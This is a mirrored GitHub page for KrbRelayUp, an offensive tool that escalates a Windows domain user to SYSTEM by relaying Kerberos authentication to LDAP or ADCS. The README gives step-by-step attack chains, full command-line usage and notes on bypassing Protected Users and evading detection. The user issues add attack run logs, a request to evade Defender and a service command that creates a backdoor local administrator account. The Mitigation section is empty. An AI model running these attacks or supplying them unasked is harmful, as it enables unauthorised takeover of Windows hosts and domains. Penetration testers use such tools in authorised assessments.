Git Product home page Git Product logo

krbrelayup's Introduction

KrbRelayUp

Simple wrapper around some of the features of Rubeus and KrbRelay (and a few other honorable mentions in the acknowledgements section) in order to streamline the abuse of the following attack primitive:

  1. (Optional) New machine account creation (New-MachineAccount)
  2. Local machine account auth coercion (KrbRelay)
  3. Kerberos relay to LDAP (KrbRelay)
  4. Add RBCD privs and obtain privileged ST to local machine (Rubeus)
  5. Using said ST to authenticate to local Service Manager and create a new service as NT/SYSTEM. (SCMUACBypass)

This is essentially a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced (the default settings).

UPDATE: Here is an excellent writeup by @an0n_r0 on how to perform this attack manually (using the original tools for this attack path: PowerMad/SharpMad, KrbRelay, Rubeus and SCMUACBypass)

Update - Shadow Credentials Support

I added some features to support this attack primitive using shadow credentials. Note this eliminates the need for adding (or owning) another machine account.

Note: this attack method bypasses the Protected Users (or 'Account is sensitive and cannot be delegated') mitigation due to the S4U2Self abuse.

  1. Local machine account auth coercion (KrbRelay)
  2. Kerberos relay to LDAP (KrbRelay)
  3. Generate new KeyCredential and add it to the local machine account's 'msDS-KeyCredentialLink' attribute. (Whisker and KrbRelay)
  4. Using said KeyCredential to obtain a TGT for the local machine account via PKInit. (Rubeus)
  5. Using the TGT to obtain privileged ST to local machine via S4U2Self and TGSSUB. (Rubeus)
  6. Using said ST to authenticate to local Service Manager and create a new service as NT/SYSTEM. (SCMUACBypass)

UPDATE: Here is an excellent writeup by @icyguider on how to perform the ShadowCred method of this attack manually (using the original tools for this attack path: KrbRelay, Rubeus and SCMUACBypass) along with the usage of NimCrypt2 to pack the various tools and evade some detection by defensive mechanism.

Update - ADCS Web Enrollment Support

I added support for relaying Machine KRB auth to ADCS Web Enrollment (instead of LDAP). This eliminates the requirement of LDAP Signing not to be enforced in the domain since this attack does not relay to LDAP.

Note: this attack method bypasses the Protected Users (or 'Account is sensitive and cannot be delegated') mitigation due to the S4U2Self abuse.

  1. Local machine account auth coercion (KrbRelay)
  2. Kerberos relay to ADCS (HTTP) (KrbRelay and ADCSPwn)
  3. Generate certificate request on behalf of the local machine account, submit it to ADCS Web Enrollment and finally retreive the certificate for the local machine account (ADCSPwn)
  4. Using said certificate to obtain a TGT for the local machine account via PKInit. (Rubeus)
  5. Using the TGT to obtain privileged ST to local machine via S4U2Self and TGSSUB. (Rubeus)
  6. Using said ST to authenticate to local Service Manager and create a new service as NT/SYSTEM. (SCMUACBypass)

Usage

KrbRelayUp - Relaying you to SYSTEM

FULL: Perform full attack chain. Options are identical to RELAY. Tool must be on disk.

RELAY: First phase of the attack. Will Coerce Kerberos auth from local machine account, relay it to LDAP and create a control primitive over the local machine using RBCD or SHADOWCRED.
Usage: KrbRelayUp.exe relay -d FQDN -cn COMPUTERNAME [-c] [-cp PASSWORD | -ch NTHASH]

    -m   (--Method)                   Abuse method to use in after a successful relay to LDAP <rbcd/shadowcred> (default=rbcd)
    -p   (--Port)                     Port for Com Server (default=12345)
    -cls (--Clsid)                    CLSID to use for coercing Kerberos auth from local machine account (default=90f18417-f0f1-484e-9d3c-59dceee5dbd8)

    # RBCD Method:
    -c   (--CreateNewComputerAccount) Create new computer account for RBCD. Will use the current authenticated user.
    -cn  (--ComputerName)             Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
    -cp  (--ComputerPassword)         Password of computer account for RBCD. (default=RANDOM [if -c is enabled])

    # SHADOWCRED Method:
    -f   (--ForceShadowCred)          Clear the msDS-KeyCredentialLink attribute of the attacked computer account before adding our new shadow credentials. (Optional)

    # ADCS Method:
    -ca  (--CAEndpoint)               CA endpoint FQDN (default = same as DC)
    -https                            Connect to CA endpoint over secure HTTPS instead of HTTP)
    -cet (--CertificateTemplate)      Certificate template to request for (default=Machine)


SPAWN: Second phase of the attack. Will use the appropriate control primitive to obtain a Kerberos Service Ticket and will use it to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe spawn -d FQDN -cn COMPUTERNAME [-cp PASSWORD | -ch NTHASH] <-i USERTOIMPERSONATE>

    -m   (--Method)                   Abuse method used in RELAY phase <rbcd/shadowcred> (default=rbcd)
    -i   (--Impersonate)              User to impersonate. should be a local administrator in the target computer. (default=Administrator)
    -s   (--ServiceName)              Name of the service to be created. (default=KrbSCM)
    -sc  (--ServiceCommand)           Service command [binPath]. (default = spawn cmd.exe as SYSTEM)

    # RBCD Method:
    -cn  (--ComputerName)             Name of attacker owned computer account for RBCD. (default=KRBRELAYUP$)
    -cp  (--ComputerPassword)         Password of computer account for RBCD. (either -cp or -ch must be specified)
    -ch  (--ComputerPasswordHash)     Password NT hash of computer account for RBCD. (either -cp or -ch must be specified)

    # SHADOWCRED | ADCS Method:
    -ce  (--Certificate)              Base64 encoded certificate or path to certificate file
    -cep (--CertificatePassword)      Certificate password (if applicable)


KRBSCM: Will use the currently loaded Kerberos Service Ticket to create a new service running as SYSTEM.
Usage: KrbRelayUp.exe krbscm <-s SERVICENAME> <-sc SERVICECOMMANDLINE>

    -s  (--ServiceName)              Name of the service to be created. (default=KrbSCM)
    -sc (--ServiceCommand)           Service command [binPath]. (default = spawn cmd.exe as SYSTEM)


General Options:
    -d  (--Domain)                   FQDN of domain. (Optional)
    -dc (--DomainController)         FQDN of domain controller. (Optional)
    -ssl                             Use LDAP over SSL. (Optional)
    -n                               Use CreateNetOnly (needs to be on disk) instead of PTT when importing ST (enabled if using FULL mode)
    -v  (--Verbose)                  Show verbose output. (Optional)

Examples

example example example

TODO

  • Code refactoring and cleanup!!!
  • Add ShadowCred attack as a RELAY method
  • Add TGTDELEG attack in SPAWN method to be used in Network Service->SYSTEM scenarios (potatoes alternative)
  • Fix the issue I'm having trying to combine the RELAY and SPAWN methods into one run so it can be used as one complete command. Probably has something to do with the fact that both RELAY and SPAWN functionalities rely on hooks during the initialization of the COM Server (Once RELAY initializes its COM Server the SPAWN can't re-initialize it to place its hooks as well)

Mitigation & Detection

Acknowledgements

  • James Forshaw for his research on Kerberos relaying and for figuring out how to use Kerberos Service Tickets for LOCAL authentication to Service Manager which was the missing piece of the puzzle in order to make this attack primitive local only (before that, we had to export the ST to a remote machine in order to use it and gain privileged access to our target machine). Also for his New-MachineAccount functionality which was used in this project.
  • Cube0x0 This project wouldn't exist without his amazing work on KrbRelay - a lot of code was taken from there and it made me gain a deeper understanding on how Kerberos Relaying works (I really recommend going through the code for anyone who wish to understand the concept better).
  • Elad Shamir for his research on Shadow Credentials and his awsome tool Whisker - parts of his code (and of course cube0x0's KrbRelay code) was used to add support for the Shadow Credentials attack in this tool.
  • Will Schroeder and everyone who contributed to Rubeus which we all know and love. Basically all the RBCD-S4U functionality was taken from there. Also, for Certify and the Certified Pre-Owned whitepaper (credits goes to Lee Christensen as well) which was used when adding the ADCS Web Enrollment Relay option.
  • batsec and everyone who contributed to ADCSPwn. A lot of code related to the ADCS Web Enrollment Relay option was taken from this awesome tool.
  • Michael Grafnetter for his tool DSInternals which was used here to help with the Shadow Credentials functionality.
  • Orange-Cyberdefense for their work on GOAD, the Active Directory research lab I am using which you can see in the demo video and images.

krbrelayup's People

Contributors

crypt0rr avatar dec0ne avatar genbox avatar luemmelsec avatar snovvcrash avatar spoppi avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

krbrelayup's Issues

Won't run under 32 bit

Hi,

Maybe this is already known/wontfix but I get issues trying to run a 32-bit compiled binary.

image

Thanks

COMException during relay

Hello!

Unable to complete relay (sensitive data removed)

Exception thrown at 0x00007FFBB21D8BED (clr.dll) in KrbRelayUp.exe: 0xC0000005: Access violation reading location 0x0000000000000010.

KrbRelayUp - Relaying you to SYSTEM

[+] Computer account "eval299$" added with password "P@ssf3st!123"
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
System.Runtime.InteropServices.COMException (0x800706C0): A remote procedure call (RPC) protocol error occurred.
A remote procedure call (RPC) protocol error occurred.
 at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelayUp.Relay.Relay.Run(String aDomain, String aDomainController, String aComputerSid, String aPort) in C:\root\KrbRelayUp-main\KrbRelayUp-main\KrbRelayUp\Relay\Relay.cs:line 183


Further debugging via Visual Studio:

Exception thrown at 0x00007FFBB21D8BED (clr.dll) in KrbRelayUp.exe: 0xC0000005: Access violation reading location 0x0000000000000010.

System.Runtime.InteropServices.COMException (0x80070721): A security package specific error occurred.

Hello
Did anyone fix this issue?

PS C:\Users\normaluser\Desktop\kbrrelayUp_Debug\Debug> .\KrbRelayUp.exe relay -Domain local.domain -CreateNewComputerAccount -ComputerName fake6$ -ComputerPassword 123456$
KrbRelayUp - Relaying you to SYSTEM

[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Computer account "fake6$" added with password "123456$"
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[-] LDAP connection failed
System.Runtime.InteropServices.COMException (0x80070721): A security package specific error occurred.

A security package specific error occurred.

at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelayUp.Relay.Relay.Run() in C:\Users\admin.DESKTOP-8OHJG6I\Desktop\TMP\KrbRelayUp-main\KrbRelayUp\Relay\Relay.cs:line 159

Build fails - $ and ; expected?

Am I being naive to think that there are missing ";" and random "$" placed throughout on purpose to prevent compilation? I would very much like to audit my internal domain so we can ensure when we do enable LDAP signing and the other various restrictions to prevent users from adding a machine to the domain that our mitigations, did in fact work.

VSCode is error after error in almost every ".cs" file.

SC doesn't work

Service command is currently spawning cmd.exe only and doesn't let you change it.

Error in brand new lab domain

We found in testing one of our domains was vulnerable so we spun up a mimic'd lab environment.

The new user is getting access denied during relay:

`C:\Users\labuser>KrbRelayUp.exe relay -d demolab.com -c -cn evilhost$ -cp pass123
KrbRelayUp - Relaying you to SYSTEM

[+] Computer account "evilhost$" added with password "pass123"
[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
System.UnauthorizedAccessException: Access is denied.

Access is denied.

at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelayUp.Relay.Relay.Run(Object aDomain, Object aDomainController, Object aComputerSid, String aPort)`

If I go back to our production domain, I do not get the same error. Demo lab is hosted in AWS, however we have a private subnet of 10.50.50.0/24 and all traffic is allowed back and forth (0.0.0.0/0).

Recieved invalid apReq, exploit will fail

Tested against a few Windows10 machines, Couldn't seem to solve this.
LDAP Server Signing is not enabled.
I'm not sure what's causing this, Looking for a fix right now
Screenshot 2022-04-27 013723

Request - Exporting the TGT to disk

Hi. Thank you for this tool! I am testing obfuscation of this binary and while your tool evades Defender afterwards, CMD is not spawned. Or perhaps the service is not started. There are no errors in the output from the tool. I also tried setting "binpath" to "net user test Password123! /add && net localgroup Administrators test /add" but that also does not work. If the tool could write the TGT to disk I could use that instead of relying on having RDP access and features that may not be compatible with obfuscation. Would that be something you would be interested in adding?

DCOM Error - 0x80070422

This is more for documentation reasons but if you run the tool from the DC you get the following DCOM error:

image

If you see this error, try running this tool on a domain joined computer that isn't the domain controller.

.sln to exe

Hi there i am having trouble compiling the .sln file to .exe is there a POC that walks us through this ? i am opening the .sln file with visual studio code however it says " the project file can not be loaded " is there any other way i can compile this exploit ??

Thanks again

Error opening SCM: 5

When I run the tool I get the error Error opening SCM: 5:

krbrelayup-scm-5

Do you have any idea what blocks this?

It looks like OpenSCManager fails

IntPtr hScm = OpenSCManager("127.0.0.1", null, ScmAccessRights.Connect | ScmAccessRights.CreateService);
but not sure what can cause this?

For reference, when running the same command as administrator it runs without any error.

Notify User if Target For S4U Portion is Marked Sensitive

image

The default behavior of the tool is to target the Administrator account and when this fails as a result of an account being marked sensitive, the error is not human readable. It would be nice if the tool tested if the account can used for delegation prior to performing the attack.

Could not find computer account SID:

Hey,

I just tried the POC for a costumer. Unfortunately the method does not seem to work on the Windows 10 Enterprise 19042 Client.
LDAP signing is disabled

KrbRelayUp_fail

While perofrming shadowcred Kerberos errors: KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

While performing shadowcred Kerberos errors, any ideas on how to move on?

C:\Users\user\Desktop\krbRelayUp>KrbRelayUp.exe full -m shadowcred --ForceShadowCred
KrbRelayUp - Relaying you to SYSTEM


[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] Generating certificate
[+] Certificate generated
[+] Generating KeyCredential
[+] KeyCredential generated with DeviceID 5f6ef45f-614b-4795-b02c-4bdfeed9780a
[+] Clearing msDS-KeyCredentialLink before adding our new KeyCredential
[*] ldap_clear: LDAP_SUCCESS
[+] KeyCredential added successfully
[+] Certificate: MIIKR(...)==
[+] Certificate Password: j(...)=
[+] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN="CN=<hostname>", OU=<ou>, OU=Servers, OU=ABC, DC=<name>, DC=<domain>
[+] Building AS-REQ (w/ PKINIT preauth) for: '<name>.<domain>\<hostname>$'
**[-] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP**

Unhandled Exception: System.NullReferenceException: Object reference not set to an instance of an object.
   at KrbRelayUp.KRB_CRED..ctor(Byte[] bytes)
   at KrbRelayUp.Program.Main(String[] args)

A security package specific error occurred.

KrbRelayUp.exe full -m shadowcred --ForceShadowCred -dc mwdc1.midwest.local -p 2869 -cls 708860E0-F641-4611-8895-7D867DD3675B
KrbRelayUp - Relaying you to SYSTEM

[+] Rewriting function table
[+] Rewriting PEB
[+] Init COM server
[+] Register COM server
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relying to LDAP now...
[+] LDAP session established
[+] Generating certificate
[+] Certificate generated
[+] Generating KeyCredential
[-] System.ArgumentNullException: Value cannot be null.
Parameter name: owner
at DSInternals.Common.Validator.AssertNotNullOrEmpty(String value, String paramName)
at DSInternals.Common.Data.KeyCredential.Initialize(Byte[] publicKey, Nullable1 deviceId, String owner, Nullable1 currentTime, Boolean isComputerKey)
at DSInternals.Common.Data.KeyCredential..ctor(X509Certificate2 certificate, Nullable1 deviceId, String owner, Nullable1 currentTime, Boolean isComputerKey)
at KrbRelayUp.Relay.Attacks.Ldap.ShadowCred.attack(IntPtr ld)
at KrbRelayUp.Relay.Ldap.Relay()
[-] LDAP connection failed
System.Runtime.InteropServices.COMException (0x80070721): A security package specific error occurred. (Exception from HRESULT: 0x80070721)
at KrbRelayUp.Relay.Ole32.CoGetInstanceFromIStorage(COSERVERINFO pServerInfo, Guid& pclsid, Object pUnkOuter, CLSCTX dwClsCtx, IStorage pstg, UInt32 cmq, MULTI_QI[] rgmqResults)
at KrbRelayUp.Relay.Relay.Run()

running relay

Hello!

the relay seems to work fine until getting to register COM server, where it asks for firewall access.

how do i get around it?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.